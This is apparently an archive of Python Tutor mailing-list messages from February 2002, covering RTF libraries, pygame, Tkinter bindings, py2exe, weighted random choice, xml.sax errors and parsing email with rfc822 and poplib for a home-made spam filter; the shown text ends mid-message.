I can't seem to locate a library for Python that deals with RTF files. 
I've searched Python.org and the Vaults for RTF, rich text, and rich. No 
joy.

Can it be that there is no such beast?



From urnerk@qwest.net  Sat Feb 23 01:26:49 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Fri, 22 Feb 2002 17:26:49 -0800
Subject: [Tutor] Request for comments: Search and replace script
In-Reply-To: <3C768684.3070006@verio.net>
Message-ID: <4.2.0.58.20020222172535.01b0c940@pop3.norton.antivirus>

A bit off the mark, but I find it helpful to supply both
.py and .html versions of source code, the latter being a
little more readable, simply because color coded, in this
case ala IDLE's color scheme:

http://www.inetarena.com/~pdx4d/ocn/python/replace.html

There are resources out there to make this colorizing in
HTML automatic.

Kirby


>You can find it at http://lindbergs.org/vsar.py
>
>I would be very appreciative of any comments or patches to it. 
>Particularly, I am interested in:
>
>- Things that could make it faster
>- Things to make it more 'pythonic'
>- Bugs or logic errors
>
>After any suggested improvements have been made, I will be submitting it 
>to useless python, in the hope that it may be more generally useful.
>
>Tear into it,
>
>Van
>




From kjphotog@juno.com  Sat Feb 23 02:45:56 2002
From: kjphotog@juno.com (kjphotog@juno.com)
Date: Fri, 22 Feb 2002 18:45:56 -0800
Subject: [Tutor] Tutor digest, Vol 1 #1443 Links
Message-ID: <20020222.190106.-244305.0.kjphotog@juno.com>

Re: Python tutorials from Erik Price

Erik, thanks for your links like www.DevShed.com  -wow- that site has a
wealth of easy to read/use info about all kinds of programming. In
addition to lot's of Python how-to info, there's info on CSS, XML & more.
 

Keith Johnson
________________________________________________________________
GET INTERNET ACCESS FROM JUNO!
Juno offers FREE or PREMIUM Internet access for less!
Join Juno today!  For your FREE software, visit:
http://dl.www.juno.com/get/web/.


From brett@earthlight.co.nz  Sat Feb 23 03:42:17 2002
From: brett@earthlight.co.nz (Brett Shand)
Date: Sat, 23 Feb 2002 16:42:17 +1300
Subject: [Tutor] game development
In-Reply-To: <20020222.190106.-244305.0.kjphotog@juno.com>
Message-ID: <200202230342.QAA22039@mozart.earthlight.co.nz>

hi

my wife is a montessori teacher has a young man (12) in her class 
who is a gifted designer but never done any programming at all. he 
wants to start into game development and has asked me where he 
might start.

so i've been browsing round the game deveopment sites that i can 
find and find that python is never mentioned as a development 
language. is there a reason for this?

brett


From paulsid@shaw.ca  Sat Feb 23 04:31:22 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Fri, 22 Feb 2002 21:31:22 -0700
Subject: [Tutor] game development
References: <200202230342.QAA22039@mozart.earthlight.co.nz>
Message-ID: <3C771B1A.503C0696@shaw.ca>

Brett Shand wrote:

> so i've been browsing round the game deveopment sites that i can
> find and find that python is never mentioned as a development
> language. is there a reason for this?

Yeah, it's slow.  For most games you need superfast performance.  Python
just can't deliver this.  (At least not yet.)

That's not to say Python is not useful for games, though.  It's already
been used with success in several commercial games as a scripting
language for higher-level parts of the game.  Somebody else will provide
links I'm sure.  Basically these games are constructed in (usually) C
until there is enough of a foundation to start adding game elements
which are then scripted in Python that interfaces with the C stuff.  (I
guess this is called a "bottom-up" approach.)

It can also be used to model games.  The game could be rapidly
prototyped and then speed-critical parts could be converted to C or
assembler.  (This would be the inverse of the above - the "top-down"
approach.)

Lastly, there is pygame.  pygame is a wrapper for a fast and powerful
cross-platform graphics, sound, and input library called SDL.  This
solves a lot of the speed problems, and can be used for some fairly
sophisticated games.  Check http://www.pygame.org/ for more info,
including the project page which has a frequently-updated list of games
in progress with pygame.

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From wheelege@hotmail.com  Sat Feb 23 07:38:14 2002
From: wheelege@hotmail.com (Glen Wheeler)
Date: Sat, 23 Feb 2002 18:38:14 +1100
Subject: [Tutor] tkinter event question
References: <DAV16KexAKs4lSRu4rs00007475@hotmail.com> <20020222080205.A3023@speakeasy.net>
Message-ID: <DAV36LAffPc9VjeRoXa00004a4c@hotmail.com>

>
> You can also use unbind_class().  Unfortunately, it affects every Text
> widget, but it's about the only way to handle the 'default' effect.
>
> There are other advantages of using Entry over Text - if you want a Tab-
> advancing form, Entry widgets will be more friendly.
>

  Hmm, ok.  I've converted the one-line fields where I want to bind return
to entry-s, but for purely academic reasons (and curiosity) would creating a
new class which inherited from Text, changed next to nothing, and then
unbind_class()-ing that?  I'm not sure, as I've never tried it but it feels
to me like that could work.  The only thing that might make it fail is that
there is only one Text widget in tk and unbind_class may either a) not work
on the new class which inherits from Text or b) unbind all the text widgets
anyway.
  Hackish ways come to mind to make this work though, using
unbind_class...it's all very interesting, but not too productive.  Should
help my understanding of tcl/tk at any rate :)

  Thanks,
  Glen


From wheelege@hotmail.com  Sat Feb 23 07:40:45 2002
From: wheelege@hotmail.com (Glen Wheeler)
Date: Sat, 23 Feb 2002 18:40:45 +1100
Subject: [Tutor] *.exe file for Python
References: <23FD7B1A77E8D211BCB900001D108C02018B29D1@camelot>
Message-ID: <DAV49Lus2kyW0XntgKc000029d9@hotmail.com>

  Answered this question twice already - here is a c&p of my last response
:-

"I posted a response to a question like this a little while ago.  The short
answer is try out py2exe, but also Installer.  I like py2exe more, but it's
your choice.  Here is the link to py2exe
(http://starship.python.net/crew/theller/py2exe/) - there is a link to
Installer at the bottom of the page if you want to check that out.
  If you have any problems, don't hesitate to ask :)"

  There is also one called freeze, I can't remember the author (Fredrik
Lundh?) but last time I heard it was still under development.  The final
result from py2exe (and, I assume, Installer) is a standalone program - no
need for make.

----- Original Message -----
From: "McCarney, James Alexander" <James.Alexander.McCarney@Cognicase.com>
To: <tutor@python.org>
Sent: Saturday, February 23, 2002 3:55 AM
Subject: [Tutor] *.exe file for Python


> Isn't there something like freeze or squeeze that you can use to make a Py
> program into an executable? I think you have to then 'make' it.
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>


From kp87@lycos.com  Sat Feb 23 09:19:22 2002
From: kp87@lycos.com (kevin parks)
Date: Sat, 23 Feb 2002 18:19:22 +0900
Subject: [Tutor] Weighted Random & probability, was (No Subject)
Message-ID: <MPLGLFCONEDEEBAA@mailcity.com>

First, Sorry about the lack of subject. I was so anxious to send my code and question that i forgot to edit the subject field,

Paul,

Thanks for taking the time to answer my query on weighted randomness. I can wait to get to my computer and try it out. I've lost my DSL connection (i am in the middle of moving) so i am reading this from an internet cafe. I saw how extensive your replay was and just wanted to soot you a note and let you know that i appreciate your taking the time to answer.

Since there is no interpreter here I can't yet try out your code just yet, but it really looks like you've added some nice bells and whistles to it. It may take me a little while to understand exactly the behavior of pick(). I suppose the ideal behavior would be that the weights would add up to 1, or if they didn't the would be scaled to that somehow, but maybe it should complain first though, like '''hey fool, your probabilities don't add up to 1, we'll have to scale them'''. This way the thing still runs if someone mistakenly thinks that the values should add up to 100 or if they just mess up.

Anyway I am very excited about this approach and i see that it will allow for much more than a simple function as now methods can be added for further manipulation.

Thanks very much I am really anxious to examine this code, perhaps i'll print it out any type it in by hand.


Thank you thank you thank you...

kevin parks
seoul, korea

kp87@lycos.com





From kp87@lycos.com  Sat Feb 23 09:32:35 2002
From: kp87@lycos.com (kevin parks)
Date: Sat, 23 Feb 2002 18:32:35 +0900
Subject: [Tutor] Weighted randomness & probability, was: (No Subject)
Message-ID: <JJGPIHHJGAEEEBAA@mailcity.com>

Scott Widney,

Thanks for taking the time to reply. I am starting to get a glimpse of what this does now. Your approach below is a sort of 'plug-in' approach, where the user passes in the list and the function random.random(). I suppose one could pass in other functions but i am not sure that in this context it makes much sense to do so. Since that would defeat the purpose of the weights... 

I'll try running this when i get connected to the net again (no interpreter here). It will be fun to try to compair this engine with the one in Paul's WeightedList class.

Thanks,

kevin





>###
>def weightedPick(weightedList, choice):
>	""" weightedList is of the form: [('symbol', weight), ...]
>	    where 0.0 < weight < 1.0
>	"""
>	if len(weightedList) == 1:
>		return weightedList[0][0]
>	if choice < weightedList[0][1]:
>		return weightedList[0][0]
>	else:
>		return weightedPick(weightedList[1:],
>                                (choice - weightedList[0][1]))
>###
>Some notes:
>The function doesn't check to see if the sum of the weights =~ 1.0 (why
>would you want anything else?). A Class that wraps the function and the data
>could do that. For that matter, the function doesn't ensure that 'choice' is
>between 0.0 and 1.0; but that's what random.random() returns. Again, I
>suppose that's a job for the Class.
>
>One other thing: I haven't had the chance to run this 1000 or so times to
>check its accuracy. Does anyone have the time?





From pierre-yves.verdon@wanadoo.fr  Sat Feb 23 13:34:59 2002
From: pierre-yves.verdon@wanadoo.fr (pierre-yves.verdon)
Date: Sat, 23 Feb 2002 14:34:59 +0100
Subject: [Tutor] xml parser problem.
Message-ID: <3C779A83.9060902@wanadoo.fr>

hi,
i'm a new python user, and i'm trying to do an xml parser with the 
library xml.sax.
below is the link i've used for my code:
http://py-howto.sourceforge.net/xml-howto/node7.html
my python version is 2.2_1 (from the freebsd ports)
i just tried it and i get the error below.
Any help is welcome.

pierre-yves


Traceback (most recent call last):
  File "parse.py", line 4, in ?
    class FindIssue(saxutils.DefaultHandler):
AttributeError: 'module' object has no attribute 'DefaultHandler'


#
#here is the code
#

from xml.sax import saxutils, handler, make_parser
from xml.sax.handler import feature_namespaces

class FindIssue(saxutils.DefaultHandler):
        def __init__(self, title, number):
                self.search_title, self.search_number = title, number

        def startElement(self, name, attrs):
                if name != 'comic': return

                title = attrs.get('title', None)
                number = attrs.get('number', None)
                if title == self.search_title and number == 
self.search_number:
                        print title, '#'+str(number), 'found'


if __name__ == '__main__':
        parser = make_parser()
        parser.setFeature(feature_namespaces, 0)
        dh = FindIssue('sandman', '62')
        parser.setContentHandler(dh)
        parser.parse("file.xml")




From csmith@blakeschool.org  Sat Feb 23 17:47:40 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Sat, 23 Feb 2002 11:47:40 -0600
Subject: [Tutor] Re: why the recompile?
Message-ID: <fc.004c4b6b008e5eab004c4b6b008cfac6.8e5eb8@blakeschool.org>

Christopher Smith writes:
>Hello,
>
>I am trying to get an installation distributed on a set of iBooks for a
>course.  I ran compileall on my own installation, copied that to the
>master server disk and from there it gets copied onto the individual
>iBooks.  The hope was to avoid having to recompile every time a new
>session is started.  (Even though the recompile is done, the installation
>is restored to the original set during shutdown of the computer.)
>
>Here's the problem:  when the IDE starts up it recompiles a bunch of
>files.  For example, codeop.py (created July 18,2001 and modified Aug
>19,2001) is recompiled even though the existing codeop.pyc in that
>directory has the creation and modification dates of Feb 7, 2002.  There
>are 68 files in all that are recompiled, located in lib; mac/Lib;
>Mac/Tools/IDE; and mac/lib/carbon.
>
>Why is this recompiling and what can I do to avoid this?  The .pyc's date
>is more recent than the .py's.  

In answer to my own question I learned that if one of the libraries in the
lib_dynload folder is newer than the .pyc files this will cause the .pyc
files to be rebuilt.  If you install new library files you will have to
recompile all .py files.  
/c



From pierre-yves.verdon@wanadoo.fr  Sat Feb 23 18:31:01 2002
From: pierre-yves.verdon@wanadoo.fr (pierre-yves.verdon)
Date: Sat, 23 Feb 2002 19:31:01 +0100
Subject: [tutor] xml parser problem.
Message-ID: <3C77DFE5.5060102@wanadoo.fr>

> >>> from xml.sax import saxutils
> >>> dir(saxutils)  # note DefaultHandler is present
> ['AttributeMap', 'AttributesImpl', 'BaseIncrementalParser', 
> 'Canonizer', 'ContentGenerator', 'DefaultHandler', 'ESISDocHandler', 
> 'ErrorPrinter', 'ErrorRaiser', 'EventBroadcaster', 
> 'LexicalXMLGenerator', 'Location', 'XMLFilterBase', 'XMLFilterImpl', 
> 'XMLGenerator', '_StringTypes', '__builtins__', '__doc__', '__file__', 
> '__name__', '_exceptions', '_outputwrapper', 'codecs', 'escape', 
> 'handler', 'mllib', 'os', 'prepare_input_source', 'quoteattr', 
> 'saxlib', 'string', 'sys', 'types', 'urllib', 'urlparse', 'xmlreader']



right on the spot, this is what i have:

 >>> from xml.sax import saxutils
 >>> dir(saxutils)
['XMLFilterBase', 'XMLGenerator', '_StringTypes', '__builtins__', 
'__doc__', '__file__', '__name__', 'escape', 'handler', 'os', 
'prepare_input_source', 'quoteattr', 'types', 'urllib', 'urlparse', 
'xmlreader']

I must be missing something in my freebsd package, i'm going to look at it


pierre-yves





From joejava@dragoncat.net  Sat Feb 23 20:47:40 2002
From: joejava@dragoncat.net (Joel Ricker)
Date: Sat, 23 Feb 2002 15:47:40 -0500
Subject: [Tutor] Working with Email question
Message-ID: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2>

This is a multi-part message in MIME format.

------=_NextPart_000_006F_01C1BC81.6C982D40
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Wow, things have changed since I've last worked with Python which was in =
1.5(.2?).

As a warmup excercise to get back into the swing of things, I want to =
write a spam filter.  I'm pretty liberal with my e-mail address, which =
is great because people can find me but the drawback is of course that =
so can all the spammers in the world :(

I've got a little script going that does a good job as connecting to a =
POP3 server and query for messages and the sort.  What I need now is the =
ability to dissect those messages for spam.  Digging around I found the =
libraries for working with MIME data that seems to be related to working =
with email but they seem to be more for working with MIME files =
(building up files rather that analyzing already created emails).  Is =
there a library already for working with messages?  Something like given =
the text of a message, you can easily extract the body, to: lines, etc, =
or am I'm going to have to write one myself?  Just wanted to check =
before I re-invent anything.

Thanks
Joel
=20

------=_NextPart_000_006F_01C1BC81.6C982D40
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3314.2100" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Wow, things have changed since I've =
last worked=20
with Python which was in 1.5(.2?).</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>As a warmup excercise to get back into =
the swing of=20
things, I want to write a spam filter.&nbsp; I'm pretty liberal with my =
e-mail=20
address, which is great because people can find me but the drawback is =
of course=20
that so can all the spammers in the world :(</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I've got a little script going that =
does a good job=20
as connecting to a POP3 server and query for messages and the =
sort.&nbsp; What I=20
need now is the ability to dissect those messages for spam.&nbsp; =
Digging around=20
I found the libraries for working with MIME data that seems to be =
related to=20
working with email but they seem to be more for working with MIME files=20
(building up files rather that analyzing already created emails).&nbsp; =
Is there=20
a library already for working with messages?&nbsp; Something&nbsp;like =
given the=20
text of a message, you can easily extract the body,&nbsp;to: lines, etc, =
or am=20
I'm going to have to write&nbsp;one myself?&nbsp; Just wanted to check =
before I=20
re-invent anything.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Joel</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_006F_01C1BC81.6C982D40--



From sheila@thinkspot.net  Sat Feb 23 21:13:27 2002
From: sheila@thinkspot.net (Sheila King)
Date: Sat, 23 Feb 2002 13:13:27 -0800
Subject: [Tutor] Working with Email question
In-Reply-To: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2>
References: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2>
Message-ID: <5F6C3E44B88@kserver.org>

On Sat, 23 Feb 2002 15:47:40 -0500, "Joel Ricker"
<joejava@dragoncat.net>  wrote about [Tutor] Working with Email
question:

> I've got a little script going that does a good job as connecting to a
> POP3 server and query for messages and the sort.  What I need now is
> the ability to dissect those messages for spam.  Digging around I
> found the libraries for working with MIME data that seems to be
> related to working with email but they seem to be more for working
> with MIME files (building up files rather that analyzing already
> created emails).  Is there a library already for working with
> messages?  Something like given the text of a message, you can easily
> extract the body, to: lines, etc, or am I'm going to have to write one
> myself?  Just wanted to check before I re-invent anything.

It depends on whether you want to handle the attachments or work with
the attachments on the email. If all you want to do, is filter on the
message headers, then the rfc822 library will be sufficient. If,
however, you want to deal with the attachments, you will probably want
to use multifile and mimetools.

Python 2.2 has a new email module included, which looks to be very nice,
but I've been working with it, and:
(1) It is not well documented (at least, not from a beginner's point of
view)
 -AND-
(2) It is somewhat buggy IMO. For solid performance at this point, I'd
recommend rfc822 and if needed, multifile and mimetools.

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_



From dyoo@hkn.eecs.berkeley.edu  Sat Feb 23 21:22:30 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sat, 23 Feb 2002 13:22:30 -0800 (PST)
Subject: [Tutor] Working with Email question  [new 'email' module in
 Python 2.2]
In-Reply-To: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2>
Message-ID: <Pine.LNX.4.21.0202231312380.666-100000@hkn.eecs.berkeley.edu>

On Sat, 23 Feb 2002, Joel Ricker wrote:

> Wow, things have changed since I've last worked with Python which was
> in 1.5(.2?).
> 
> As a warmup excercise to get back into the swing of things, I want to
> write a spam filter.  I'm pretty liberal with my e-mail address, which
> is great because people can find me but the drawback is of course that
> so can all the spammers in the world :(

Hi Joel,

(If you'd like to use something "out of the box", you may want to look at
SpamAssassin:

    http://spamassassin.taint.org/

There are a lot of subtle issues involved in writing a spam filter, and
the SpamAssassin folks apparently have been thinking really hard about
those issues.  It's not Python, but it's not bad either.  *grin*)



> Digging around I found the libraries for working with MIME data that
> seems to be related to working with email but they seem to be more for
> working with MIME files (building up files rather that analyzing
> already created emails).  Is there a library already for working with
> messages?  Something like given the text of a message, you can easily
> extract the body, to: lines, etc, or am I'm going to have to write one
> myself?  Just wanted to check before I re-invent anything.

Yes, we can use the rfc822 library... wait, wait... [flipping through the
library documentation]

    http://www.python.org/doc/lib/module-email.html

Wow!  I didn't notice this module before.  There's a new 'email' module
that was introduced in Python 2.2, and it looks interesting.  Does anyone
have any experiement with the 'email' module?  This might be what you're
looking for; it looks like it handles email parsing.


Good luck!



From joejava@dragoncat.net  Sat Feb 23 21:36:38 2002
From: joejava@dragoncat.net (Joel Ricker)
Date: Sat, 23 Feb 2002 16:36:38 -0500
Subject: [Tutor] Working with Email question
References: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2> <5F6C3E44B88@kserver.org>
Message-ID: <008401c1bcb2$2dc6fa20$0ba3d6d1@x9k7y2>

> Python 2.2 has a new email module included, which looks to be very nice,
> but I've been working with it, and:
> (1) It is not well documented (at least, not from a beginner's point of
> view)
>  -AND-
> (2) It is somewhat buggy IMO. For solid performance at this point, I'd
> recommend rfc822 and if needed, multifile and mimetools.

What I'll need to do is parse the headers for from and to address  and also
subjects then look at the body for matching keywords -- like PORN ;)  I'm
not that worried about attachements yet -- but in the future it would be
nice to check for those Outlook Transmitted Diseases.

So if I'm following the documentation correctly, I'll need to save each
message to a local file since all of those mentioned use a file pointer.
Then use rfc822 to load in my header and look for any content boundaries.
Use those boundaries to load each piece of the body in using Multifile, if
no boundaries, just load the whole body.  Is that right?

Joel




From dyoo@hkn.eecs.berkeley.edu  Sat Feb 23 21:38:45 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sat, 23 Feb 2002 13:38:45 -0800 (PST)
Subject: [Tutor] Working with Email question   [StringIO module]
In-Reply-To: <008401c1bcb2$2dc6fa20$0ba3d6d1@x9k7y2>
Message-ID: <Pine.LNX.4.21.0202231336160.666-100000@hkn.eecs.berkeley.edu>

On Sat, 23 Feb 2002, Joel Ricker wrote:

> > Python 2.2 has a new email module included, which looks to be very nice,
> > but I've been working with it, and:
> > (1) It is not well documented (at least, not from a beginner's point of
> > view)
> >  -AND-
> > (2) It is somewhat buggy IMO. For solid performance at this point, I'd
> > recommend rfc822 and if needed, multifile and mimetools.
> 
> What I'll need to do is parse the headers for from and to address  and also
> subjects then look at the body for matching keywords -- like PORN ;)  I'm
> not that worried about attachements yet -- but in the future it would be
> nice to check for those Outlook Transmitted Diseases.
> 
> So if I'm following the documentation correctly, I'll need to save each
> message to a local file since all of those mentioned use a file pointer.


And to avoid writing to a local file, we can use the StringIO module to
make strings look like files:

    http://www.python.org/doc/lib/module-StringIO.html


Here's an example:

###
>>> from StringIO import StringIO
>>> s = "Hello world, this is a test."
>>> f  = StringIO(s)
>>> f.read(1)
'H'
>>> f.read(1)
'e'
>>> f.read(1)
'l'
>>> f.read(1)
'l'
>>> f.read(1)
'o'
>>> f.seek(0)
>>> f.read()
'Hello world, this is a test.'
###



From joejava@dragoncat.net  Sat Feb 23 21:47:55 2002
From: joejava@dragoncat.net (Joel Ricker)
Date: Sat, 23 Feb 2002 16:47:55 -0500
Subject: [Tutor] Working with Email question  [new 'email' module inPython 2.2]
References: <Pine.LNX.4.21.0202231312380.666-100000@hkn.eecs.berkeley.edu>
Message-ID: <008d01c1bcb3$c262b060$0ba3d6d1@x9k7y2>

----- Original Message -----
From: Danny Yoo <dyoo@hkn.eecs.berkeley.edu>

> (If you'd like to use something "out of the box", you may want to look at
> SpamAssassin:
>
>     http://spamassassin.taint.org/
>
> There are a lot of subtle issues involved in writing a spam filter, and
> the SpamAssassin folks apparently have been thinking really hard about
> those issues.  It's not Python, but it's not bad either.  *grin*)

I actually ran across that myself but like the idea of building my own (I
have a strange compulsion to re-invent the wheel from time to time).  Plus
it will much better written in Python :)

Joel



From sheila@thinkspot.net  Sat Feb 23 22:18:28 2002
From: sheila@thinkspot.net (Sheila King)
Date: Sat, 23 Feb 2002 14:18:28 -0800
Subject: [Tutor] Working with Email question
In-Reply-To: <008401c1bcb2$2dc6fa20$0ba3d6d1@x9k7y2>
References: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2> <5F6C3E44B88@kserver.org> <008401c1bcb2$2dc6fa20$0ba3d6d1@x9k7y2>
Message-ID: <6323E9A5EE2@kserver.org>

On Sat, 23 Feb 2002 16:36:38 -0500, "Joel Ricker"
<joejava@dragoncat.net>  wrote about Re: [Tutor] Working with Email
question:

> So if I'm following the documentation correctly, I'll need to save each
> message to a local file since all of those mentioned use a file pointer.
> Then use rfc822 to load in my header and look for any content boundaries.
> Use those boundaries to load each piece of the body in using Multifile, if
> no boundaries, just load the whole body.  Is that right?

Well, I don't know if you have to save them to a local file or not.
rfc822 will read from stdin (and actually, anything that will read from
a file can be made to read from stdin). The mail filters I've read
reside on my web host, who hosts my email addresses, and whenever an
incoming email message arrives, I have my filters invoked by .qmail
(they use Qmail as a Mail Transfer Agent). It sounds like you are trying
to retrieve the mail via pop and then filter it. I've not worked with
the poplib, but I would assume you could read the messages straight from
stdin as the poplib is retrieving them, into an instance of rfc822.

If you use rfc822, you have to read in the body separately (rfc822 only
reads in the headers).

Then you will have to look for the content boundaries or just load the
whole body. Yes. When filtering for banned words, you will encounter
other problems, such as HTML mark-up and other types of encoding (such
as quoted-printable and so on...)

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_



From sheila@thinkspot.net  Sat Feb 23 22:26:46 2002
From: sheila@thinkspot.net (Sheila King)
Date: Sat, 23 Feb 2002 14:26:46 -0800
Subject: [Tutor] Working with Email question
In-Reply-To: <6323E9A5EE2@kserver.org>
References: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2> <5F6C3E44B88@kserver.org> <008401c1bcb2$2dc6fa20$0ba3d6d1@x9k7y2> <6323E9A5EE2@kserver.org>
Message-ID: <639CC261644@kserver.org>

On Sat, 23 Feb 2002 14:18:28 -0800, Sheila King <sheila@thinkspot.net>
wrote about Re: [Tutor] Working with Email question:

> The mail filters I've read
> reside on my web host, who hosts my email addresses,

Actually, that should read:

"The mail filters I've WRITTEN reside on my ..."

(not "read").

Oops.

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_



From joejava@dragoncat.net  Sat Feb 23 22:34:47 2002
From: joejava@dragoncat.net (Joel Ricker)
Date: Sat, 23 Feb 2002 17:34:47 -0500
Subject: [Tutor] Working with Email question
References: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2> <5F6C3E44B88@kserver.org> <008401c1bcb2$2dc6fa20$0ba3d6d1@x9k7y2> <6323E9A5EE2@kserver.org>
Message-ID: <00a001c1bcba$4de3d3c0$0ba3d6d1@x9k7y2>

----- Original Message -----
From: Sheila King <sheila@thinkspot.net>

> Well, I don't know if you have to save them to a local file or not.
> rfc822 will read from stdin (and actually, anything that will read from
> a file can be made to read from stdin).

Right, as Danny was so good as to point out

> The mail filters I've read
> reside on my web host, who hosts my email addresses, and whenever an
> incoming email message arrives, I have my filters invoked by .qmail
> (they use Qmail as a Mail Transfer Agent). It sounds like you are trying
> to retrieve the mail via pop and then filter it.

Correct.  I've got two systems that I plan to run a filter through, once
that may be possible to get to the physical mailbox files, the other not so
the best approach I see is to log in using poplib -- with plans to use IMAP
as an option since one mail server supports it.  poplib is pretty
straightforward, allowing you to easily connect and extract a particular
message in a flat file.

> I've not worked with
> the poplib, but I would assume you could read the messages straight from
> stdin as the poplib is retrieving them, into an instance of rfc822.

Thats right, poplib reads it in through stdin.  Just learned actually that I
can fetch just the headers using poplib.top(messagenumber, 0) so then I'll
just need to need to fetch the message as a whole and subtract the header --
so I can get just the header and just the body.

> If you use rfc822, you have to read in the body separately (rfc822 only
> reads in the headers).

Ok. Thanks.

> Then you will have to look for the content boundaries or just load the
> whole body. Yes. When filtering for banned words, you will encounter
> other problems, such as HTML mark-up and other types of encoding (such
> as quoted-printable and so on...)

Right, didn't expect this to be real simple :) But it'll be a learning
experience for sure.

Thanks
Joel




From arcege@speakeasy.net  Sat Feb 23 22:38:42 2002
From: arcege@speakeasy.net (Michael P. Reilly)
Date: Sat, 23 Feb 2002 17:38:42 -0500
Subject: [Tutor] tkinter event question
In-Reply-To: <DAV36LAffPc9VjeRoXa00004a4c@hotmail.com>; from wheelege@hotmail.com on Sat, Feb 23, 2002 at 06:38:14PM +1100
References: <DAV16KexAKs4lSRu4rs00007475@hotmail.com> <20020222080205.A3023@speakeasy.net> <DAV36LAffPc9VjeRoXa00004a4c@hotmail.com>
Message-ID: <20020223173842.B4991@speakeasy.net>

On Sat, Feb 23, 2002 at 06:38:14PM +1100, Glen Wheeler wrote:
> >
> > You can also use unbind_class().  Unfortunately, it affects every Text
> > widget, but it's about the only way to handle the 'default' effect.
> >
> > There are other advantages of using Entry over Text - if you want a Tab-
> > advancing form, Entry widgets will be more friendly.
> >
> 
>   Hmm, ok.  I've converted the one-line fields where I want to bind return
> to entry-s, but for purely academic reasons (and curiosity) would creating a
> new class which inherited from Text, changed next to nothing, and then
> unbind_class()-ing that?  I'm not sure, as I've never tried it but it feels
> to me like that could work.  The only thing that might make it fail is that
> there is only one Text widget in tk and unbind_class may either a) not work
> on the new class which inherits from Text or b) unbind all the text widgets
> anyway.

Actually, these aren't Python classes, but are (X11 oriented) widget
classes.  The bindings are removed inside Tk itself and have little
really to do with Tcl, Python or Perl (for Perl/Tk).

  -Arcege



From dsh8290@rit.edu  Sat Feb 23 23:06:27 2002
From: dsh8290@rit.edu (dman)
Date: Sat, 23 Feb 2002 18:06:27 -0500
Subject: [Tutor] Working with Email question  [new 'email' module inPython 2.2]
In-Reply-To: <008d01c1bcb3$c262b060$0ba3d6d1@x9k7y2>
References: <Pine.LNX.4.21.0202231312380.666-100000@hkn.eecs.berkeley.edu> <008d01c1bcb3$c262b060$0ba3d6d1@x9k7y2>
Message-ID: <20020223230627.GA13239@dman.ddts.net>

On Sat, Feb 23, 2002 at 04:47:55PM -0500, Joel Ricker wrote:
| ----- Original Message -----
| From: Danny Yoo <dyoo@hkn.eecs.berkeley.edu>
| 
| > (If you'd like to use something "out of the box", you may want to look at
| > SpamAssassin:
| >
| >     http://spamassassin.taint.org/
| >
| > There are a lot of subtle issues involved in writing a spam
| > filter, and the SpamAssassin folks apparently have been thinking
| > really hard about those issues.  It's not Python, but it's not bad
| > either.  *grin*)

I was going to recommend the same thing!

If you want to plug it in with exim as the MTA/MDA the following doc
may help :
    http://dman.ddts.net/~dman/config_docs/exim_spamassassin.html

| I actually ran across that myself but like the idea of building my
| own (I have a strange compulsion to re-invent the wheel from time to
| time).  Plus it will much better written in Python :)

Certainly it would be better in python ;-).  If you're up for heading
a translation, great.  Just keep up with all the latest-and-greatest
improvements (and fixes) the SA team cooks up.

(the 'email' module in 2.2 has already been mentioned, so no need to
reiterate that)

-D

-- 

One man gives freely, yet gains even more;
another withholds unduly, but comes to poverty.
        Proverbs 11:24



From tim.one@comcast.net  Sat Feb 23 23:40:18 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sat, 23 Feb 2002 18:40:18 -0500
Subject: [Tutor] Working with Email question  [new 'email' module in Python
 2.2]
In-Reply-To: <Pine.LNX.4.21.0202231312380.666-100000@hkn.eecs.berkeley.edu>
Message-ID: <LNBBLJKPBEHFEDALKOLCIENHNOAA.tim.one@comcast.net>

[Danny Yoo]
> ...
>     http://www.python.org/doc/lib/module-email.html
>
> Wow!  I didn't notice this module before.  There's a new 'email' module
> that was introduced in Python 2.2, and it looks interesting.  Does anyone
> have any experiement with the 'email' module?

Barry Warsaw sure does, since he wrote it <wink>.  He's also the primary
author of GNU Mailman -- that's the program that manages all the Python
mailing lists (like, say, this one!).

Unfortunately, way too many people have bumped into a bug in the 2.2 email:
if a MIME message claims to be multipart, but actually contains only one
